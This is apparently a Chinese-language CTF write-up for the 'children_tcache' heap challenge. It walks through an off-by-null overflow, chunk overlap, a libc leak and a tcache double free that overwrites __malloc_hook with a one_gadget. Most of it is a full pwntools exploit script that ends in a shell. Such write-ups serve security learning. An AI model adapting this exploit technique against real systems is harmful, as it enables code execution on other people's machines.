0x01 checksec

全保护,2.27环境。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

0x02 程序分析

  • 程序功能:alloc任意不超过0x2000的堆块;show输出堆块内容;delete释放堆块,指针和size清零。
  • 在alloc函数中会先读入栈中,把换行符替换成空字节然后strcpy到堆中,这里存在空字节溢出。
  • 在delete函数中会先把size大小的空间置为0xDA再释放堆块。

0x03 利用思路

  • 通过show函数leak libc,利用off-by-null构造堆块重叠,使得fd落入可控的chunk中。由于delete函数的特殊,需要清空preszie的垃圾数据,再写入presize。这里比较巧妙的是利用了off-by-null,循环申请和释放同一个chunk,size依次减少,每次清空最后一个字节。
  • 然后利用tcache进行doublefree修改mallochook即可。

0x04 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

p = process('./children_tcache')
elf = ELF('children_tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

def create(size,content):
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Size:',str(size))
p.sendafter('Data:',content)

def show(index) :
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index:',str(index))

def delete(index) :
p.sendlineafter('Your choice: ','3')
p.sendlineafter('Index:',str(index))

create(0x500, 'a' * 0x4ff)
create(0x68, 'b' * 0x67)
create(0x5f0, 'c' * 0x5ef)
create(0x20, 'd' * 0x20)
delete(1)
delete(0)

#clear last 8 bytes
for i in range(9):
create(0x68 - i, 'b' * (0x68 - i))
delete(0)

create(0x68,'b'*0x60+p64(0x580)) #0

#trigger unlink
delete(2)

#alloc back first chunk,then fd bk will be in second chunk
create(0x508,'a'*0x507) #1

#leak libc
show(0)
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4111520
log.success('libc base: '+hex(libc_base))

create(0x68,'b'*0x67) #2
#double free (0 and 2 is same chunk)
delete(0)
delete(2)

malloc_addr = libc_base + libc.symbols['__malloc_hook']

#0x4f422 [rsp+0x40] == NULL
#0x4f3d5 rsp&0xf == 0 , rcx == NULL
#0x10a41c [rsp+0x70] == NULL
one_addr = libc_base + 0x10a41c
create(0x68,p64(malloc_addr)+0x5f*'a')
create(0x68,'a'*0x67)
create(0x68,p64(one_addr))
#gdb.attach(p)

#trigger
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Size:','10')

p.interactive()